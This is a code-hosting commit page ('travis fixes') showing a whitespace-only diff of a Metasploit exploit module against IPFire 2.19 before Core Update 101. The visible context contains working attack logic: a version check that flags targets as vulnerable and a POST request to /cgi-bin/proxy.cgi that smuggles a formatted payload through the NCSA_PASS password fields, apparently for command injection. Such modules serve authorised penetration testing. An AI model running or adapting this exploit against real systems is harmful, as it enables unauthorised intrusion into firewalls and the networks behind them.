travis fixes
parent
3163af603d
commit
8ce59ae330
|
@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
||||
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
|
||||
|
||||
|
||||
if version && update && version == "2.19" && update.to_i < 101
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
|
@ -89,9 +89,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
|
||||
post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
|
||||
post_data << "&SUBMIT=Create+user"
|
||||
post_data << "&ACTION=Add"
|
||||
post_data << "&ACTION=Add"
|
||||
post_data << "&NCSA_MIN_PASS_LEN=6"
|
||||
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/cgi-bin/proxy.cgi',
|
||||
'method' => 'POST',
|
||||
|
@ -109,10 +109,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
||||
end
|
||||
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue